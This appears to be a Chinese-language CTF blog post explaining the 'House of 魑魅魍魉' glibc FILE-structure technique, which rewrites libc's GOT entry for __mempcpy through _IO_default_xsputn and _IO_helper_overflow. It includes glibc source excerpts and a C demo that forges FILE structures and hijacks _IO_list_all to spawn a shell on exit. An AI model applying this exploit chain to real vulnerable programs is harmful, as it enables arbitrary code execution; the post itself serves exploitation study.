首页 House_of_魑魅魍魉
文章
取消

House_of_魑魅魍魉

引言

又是大佬的文章,前面的秦月汉关和借刀杀人都看的七七八八,只是对魑魅魍魉不是很理解,所以又写了一个demo的程序,顺带来调试一下,若有侵权或思路有误欢迎联系

利用条件

  • 可知heap_base和lib_base
  • 能打一次largebin_attack想办法让其走我们伪造的IO
  • 程序执行IO的有关操作,包括但不限于:从main函数返回、调用exit函数、通过__malloc_assert触发

有关libc版本的问题

此攻击方式可以在2.34-2.36使用,甚至是2.37之后都可以使用

libc中的plt表与got表

众所周知,elf文件里面存在plt表和got表,而恰恰正好的是,libc中也存在的plt表与got表

和elf的plt表和got表一样,libc中的plt和got表是在某一个函数中call了一个got表中的一个函数(表达可能不是很清楚,反正基本上原理和elf的plt和got一样)

libc中的plt表

如图,版本为2.34_3.2

image-20230211172303398

libc中的got表

如图,版本为2.34_3.2

image-20230211172516382

可以清楚的看到got表里面存放的是函数的地址

例子

如下例子就是在魑魅魍魉中调用的_IO_default_xsputn函数调用got表中函数的例子

image-20230211172038940

跳转到plt

image-20230211172612694

找到got,进而找到调用的函数

image-20230211172712349

且got表可写

image-20230211172815436

小结

libc里面的got表和free_hook差不多,感觉都是可以修改掉里面的值来进行利用,函数调用libc里面的plt函数的例子有很多,那么如何才能找到我们的链路让他去执行呢?

house of 借刀杀人

在IO中,由于要处理宽字符的原因,有很多memcpy、memmove等内存函数覆写函数,但想利用好它们却非常困难。以_IO_default_xsputn为例

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
size_t _IO_default_xsputn (FILE *f, const void *data, size_t n)
{
  const char *s = (char *) data;
  size_t more = n;
  if (more <= 0)
    return 0;
  for (;;)
    {
      /* Space available. */
      if (f->_IO_write_ptr < f->_IO_write_end)
    {
      size_t count = f->_IO_write_end - f->_IO_write_ptr;
          // count 在计算后还需要一个判断
      if (count > more)
        count = more;
      if (count > 20)
        {
          //此处为可以覆写的位置。
          // 困难1:执行后程序流无法控制。
          // 困难2:s 和 n 均不可控         
          f->_IO_write_ptr = __mempcpy (f->_IO_write_ptr, s, count);
          s += count;
        }
      else if (count)
        {
          char *p = f->_IO_write_ptr;
          ssize_t i;
          for (i = count; --i >= 0; )
        *p++ = *s++;
          f->_IO_write_ptr = p;
        }
      more -= count;
    }
      if (more == 0 || _IO_OVERFLOW (f, (unsigned char) *s++) == EOF)
    break;
      more--;
    }
  return n - more;
}

我看大佬文章认为他的思路

按照我看文章的意思,大佬想要利用这个__mempcpy函数来修改掉__mempcpy的got表,在上面的lib.plt和lib.got的例子都知道了,这个函数就会去调用plt里面的__mempcpy函数,第一次mempcpy进行got表的修改,第二次__mempcpy的时候调用函数

那么难点就来了,我们该如何控制函数的参数呢?,一般只可以控制到FILE *f

house_of_魑魅魍魉

前言

前面提到了我们可以运用_IO_default_xsputn函数里的来进行修改got表,然后再调用一次_IO_default_xsputn函数来调用他里面的__mempcpy的got表里面的函数,也就是我们改掉的函数,但是难点就在于如何控制参数

有关结构体

_IO_helper_jumps虚表

在libc中他存在两个 _IO_helper__jumps,虽然名字一样,但是所指向的函数不一样

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
#ifdef COMPILE_WPRINTF
static const struct _IO_jump_t _IO_helper_jumps libio_vtable =
{
  JUMP_INIT_DUMMY,
  JUMP_INIT (finish, _IO_wdefault_finish),
  JUMP_INIT (overflow, _IO_helper_overflow),
  JUMP_INIT (underflow, _IO_default_underflow),
  JUMP_INIT (uflow, _IO_default_uflow),
  JUMP_INIT (pbackfail, (_IO_pbackfail_t) _IO_wdefault_pbackfail),
  JUMP_INIT (xsputn, _IO_wdefault_xsputn),
  JUMP_INIT (xsgetn, _IO_wdefault_xsgetn),
  JUMP_INIT (seekoff, _IO_default_seekoff),
  JUMP_INIT (seekpos, _IO_default_seekpos),
  JUMP_INIT (setbuf, _IO_default_setbuf),
  JUMP_INIT (sync, _IO_default_sync),
  JUMP_INIT (doallocate, _IO_wdefault_doallocate),
  JUMP_INIT (read, _IO_default_read),
  JUMP_INIT (write, _IO_default_write),
  JUMP_INIT (seek, _IO_default_seek),
  JUMP_INIT (close, _IO_default_close),
  JUMP_INIT (stat, _IO_default_stat)
};
#else
static const struct _IO_jump_t _IO_helper_jumps libio_vtable =
{
  JUMP_INIT_DUMMY,
  JUMP_INIT (finish, _IO_default_finish),
  JUMP_INIT (overflow, _IO_helper_overflow),
  JUMP_INIT (underflow, _IO_default_underflow),
  JUMP_INIT (uflow, _IO_default_uflow),
  JUMP_INIT (pbackfail, _IO_default_pbackfail),
  JUMP_INIT (xsputn, _IO_default_xsputn),
  JUMP_INIT (xsgetn, _IO_default_xsgetn),
  JUMP_INIT (seekoff, _IO_default_seekoff),
  JUMP_INIT (seekpos, _IO_default_seekpos),
  JUMP_INIT (setbuf, _IO_default_setbuf),
  JUMP_INIT (sync, _IO_default_sync),
  JUMP_INIT (doallocate, _IO_default_doallocate),
  JUMP_INIT (read, _IO_default_read),
  JUMP_INIT (write, _IO_default_write),
  JUMP_INIT (seek, _IO_default_seek),
  JUMP_INIT (close, _IO_default_close),
  JUMP_INIT (stat, _IO_default_stat)
};
#endif

在内存中的放置情况

2.34_3.2的libc

image-20230211174316701

相关函数

image-20230211174443687

image-20230211174455647

helper_file结构体

1
2
3
4
5
6
7
8
9
10
11
struct helper_file
  {
    struct _IO_FILE_plus _f;
#ifdef COMPILE_WPRINTF
    struct _IO_wide_data _wide_data;
#endif
    FILE *_put_stream;
#ifdef _IO_MTSAFE_IO
    _IO_lock_t lock;
#endif
  };

其中我写的demo要利用到_put_stream好多次,指针指的有点绕

有关函数

_IO_helper_overflow函数

其存在两种

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
static int _IO_helper_overflow (FILE *s, int c)
{
  FILE *target = ((struct helper_file*) s)->_put_stream;
#ifdef COMPILE_WPRINTF
  int used = s->_wide_data->_IO_write_ptr - s->_wide_data->_IO_write_base;
  if (used)
    {
      // 利用这个链,显然这三个参数我们都可控。
      size_t written = _IO_sputn (target, s->_wide_data->_IO_write_base, used);
      if (written == 0 || written == WEOF)
    return WEOF;
      __wmemmove (s->_wide_data->_IO_write_base,
          s->_wide_data->_IO_write_base + written,
          used - written);
      s->_wide_data->_IO_write_ptr -= written;
    }
#else
    // 如果使用这条链,_IO_write_ptr 将处于 largebin 的 bk_size 指针处
  int used = s->_IO_write_ptr - s->_IO_write_base;
  if (used)
    {
      size_t written = _IO_sputn (target, s->_IO_write_base, used);
      if (written == 0 || written == EOF)
    return EOF;
      memmove (s->_IO_write_base, s->_IO_write_base + written,
           used - written);
      s->_IO_write_ptr -= written;
    }
#endif
  return PUTC (c, s);
}

我写的2.34_3.2的demo里面两个都用到了,为了到时候区分方便,我把上面一个称为_IO_helper_overflow_1把下面一个称为_IO_helper_overflow_2

这里还要说明一点size_t written = _IO_sputn (target, s->_wide_data->_IO_write_base, used),其调用的是target这个IO_FILE的vtable表里函数,并不是FILE *s的vtable里的函数

在执行size_t written = _IO_sputn (target, s->_wide_data->_IO_write_base, used);时

  1. FILE *target = ((struct helper_file*) s)->_put_stream;可控
  2. s->_wide_data->_IO_write_base可控
  3. int used = s->_wide_data->_IO_write_ptr - s->_wide_data->_IO_write_base;可控

_IO_default_xsputn函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
size_t
_IO_default_xsputn (FILE *f, const void *data, size_t n)
{
  const char *s = (char *) data;
  size_t more = n;
  if (more <= 0)
    return 0;
  for (;;)
    {
      /* Space available. */
      if (f->_IO_write_ptr < f->_IO_write_end)
    {
      size_t count = f->_IO_write_end - f->_IO_write_ptr;
          // 要 more > count,能再次返回执行 __mempcpy
      if (count > more)
        count = more;
          // 要 count > 20
      if (count > 20)
        {
          // 利用此处实现 house of 借刀杀人,
          // 修改 memcpy 的内容为我们想要执行的函数
          f->_IO_write_ptr = __mempcpy (f->_IO_write_ptr, s, count);
          s += count;
        }
      else if (count)
        {
          char *p = f->_IO_write_ptr;
          ssize_t i;
          for (i = count; --i >= 0; )
        *p++ = *s++;
          f->_IO_write_ptr = p;
        }
          // 要 more > count,能再次返回执行 __mempcpy
      more -= count;
    }
      
      if (more == 0 || _IO_OVERFLOW (f, (unsigned char) *s++) == EOF) 
    break;
      more--;
    }
  return n - more;
}
libc_hidden_def (_IO_default_xsputn)

小结

我这里好像就用到了这三个函数_IO_default_xsputn,_IO_helper_overflow_1,_IO_helper_overflow_2,但是没有利用到house_of_pig那条链路,所以我在想是不是我理解错了,还是说版本不对,希望有大佬看到的可以发邮箱回复本菜鸡QAQ

Demo调试

源码

libc版本2.34_3.2

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
#include <stdio.h>
#include <stdlib.h>

int main(){
	size_t *source = malloc(0x20);
		
	
	size_t *p1 = malloc(0x420);
	
	size_t *p = malloc(0x420);
	
	size_t *p4 = malloc(0x420);

	size_t *fake_io;
	fake_io=p1-2;

	size_t put_addr = &puts;
	size_t lib_base = put_addr - 0x80ef0;
	size_t IO_list_all = lib_base + (0x7ffff7fb4660 - 0x7ffff7d9a000);
	size_t _IO_helper_jumps_addr = lib_base + (0x7ffff7fafac0 - 0x7ffff7d9a000);
	size_t sys = lib_base + (0x7ffff7deaae0 - 0x7ffff7d9a000);
	size_t bin_sh = lib_base + (0x7ffff7f71cba - 0x7ffff7d9a000);
	size_t target = lib_base + (0x7ffff7fb3040 - 0x7ffff7d9a000);
	
	*source=sys;
	
	
	*(p4+0xd8/8)=_IO_helper_jumps_addr-0xc0;	//make FAKE_IO1->_put_stream->_put_stream call _IO_default_xsputn
	*(p4+0x30/8)=bin_sh+21;			//FAKE_IO1->_put_stream->_put_stream->_IO_write_end
	*(p4+0x28/8)=bin_sh;				//FAKE_IO1->_put_stream->_put_stream->_IO_write_ptr
	
	
	
	//make fake_IO
	
	*(p+0xd8/8)=_IO_helper_jumps_addr-0xc0;	//make FAKE_IO1->_put_stream call _IO_default_xsputn
	*(p+0x30/8)=target+21;				//FAKE_IO1->_put_stream->_IO_write_end
	*(p+0x28/8)=target;				//FAKE_IO1->_put_stream->_IO_write_ptr
	*(p+0xe0/8)=p4;				//FAKE_IO1->_put_stream->_put_stream
	
	
	//First FAKE_IO1
	*(fake_io+0x28/8)=0x1;
	*(fake_io+0xd8/8)=_IO_helper_jumps_addr;
	*(fake_io+0x1c8/8)=p;		//FAKE_IO1->_put_stream
	
	//make wide_data
	size_t *p3 = malloc(0x420);
	*(fake_io+0xa0/8)=p3;		//FAKE_IO1->_wide_data
	*(p3+0x20/8)=source+0x60;	//FAKE_IO1->_wide_data->_IO_write_ptr
	*(p3+0x18/8)=source;		//FAKE_IO1->_wide_data->_IO_write_base
	
	
	size_t *p2 = (size_t *)IO_list_all;
	*p2 = fake_io;
	exit(0);

}

啊啊啊我知道申请了一堆堆块很麻烦,但是其实你可以把内容都写到一个堆块里,只要堆块够大,稍后我也会理清楚一下链路,注释也写得比较清楚了,大家可以看看

开调

libc2.34_3.2

首先是exit进入_IO_helper_overflow_1

image-20230211183535214

helper_file结构体

image-20230211184352765

image-20230211184412179

他进入_IO_helper_overflow_1函数,会从*(f+0x1c8)找到_put_stream

_IO_helper_overflow_1函数内部

找wide_data->_IO_write_ptr和wide_data->_IO_write_base

image-20230211184021090

找f->_put_stream

image-20230211184105872

看一下_put_stream

image-20230211184541636

第一次进入进入_IO_default_xsputn函数

image-20230211184640670

绕过之后直接进__mempcpy函数

image-20230211184734962

改掉啦

image-20230211184943219

_IO_helper_overflow_2函数内部

从_IO_default_xsputn的_IO_OVERFLOW调用_IO_helper_overflow_2

image-20230211185004251

此时的结构体

image-20230211185045828

此时的_put_stream的IO结构体调用_IO_default_xsputn

image-20230211185149180

第二次进入_IO_default_xsputn函数

此时的结构体

image-20230211185319152

调用__mempcpy来getshell

image-20230211185348100

image-20230211185403356

相关调用链

1
2
3
4
_IO_helper_overflow_1			//FAKE_IO的vtable表
    _IO_default_xsputn			//FAKE_IO->_putstream的vtable表
    	_IO_helper_overflow_2	//FAKE_io->_put_stream的vtable表
			_IO_default_xsputn	//FAKE_io->_put_stream->_putstream的vtable表

相关结构体关系

image-20230211191748870

总结

以后直接看着结构体关系图来构造就行,要记得区分vtable表,别搞混了,不得不说大佬真实牛逼,tql,当然不知道本人理解的正不正确,如果有侵权或者是思路有问题的欢迎各位大佬来联系orz

本文由作者按照 CC BY 4.0 进行授权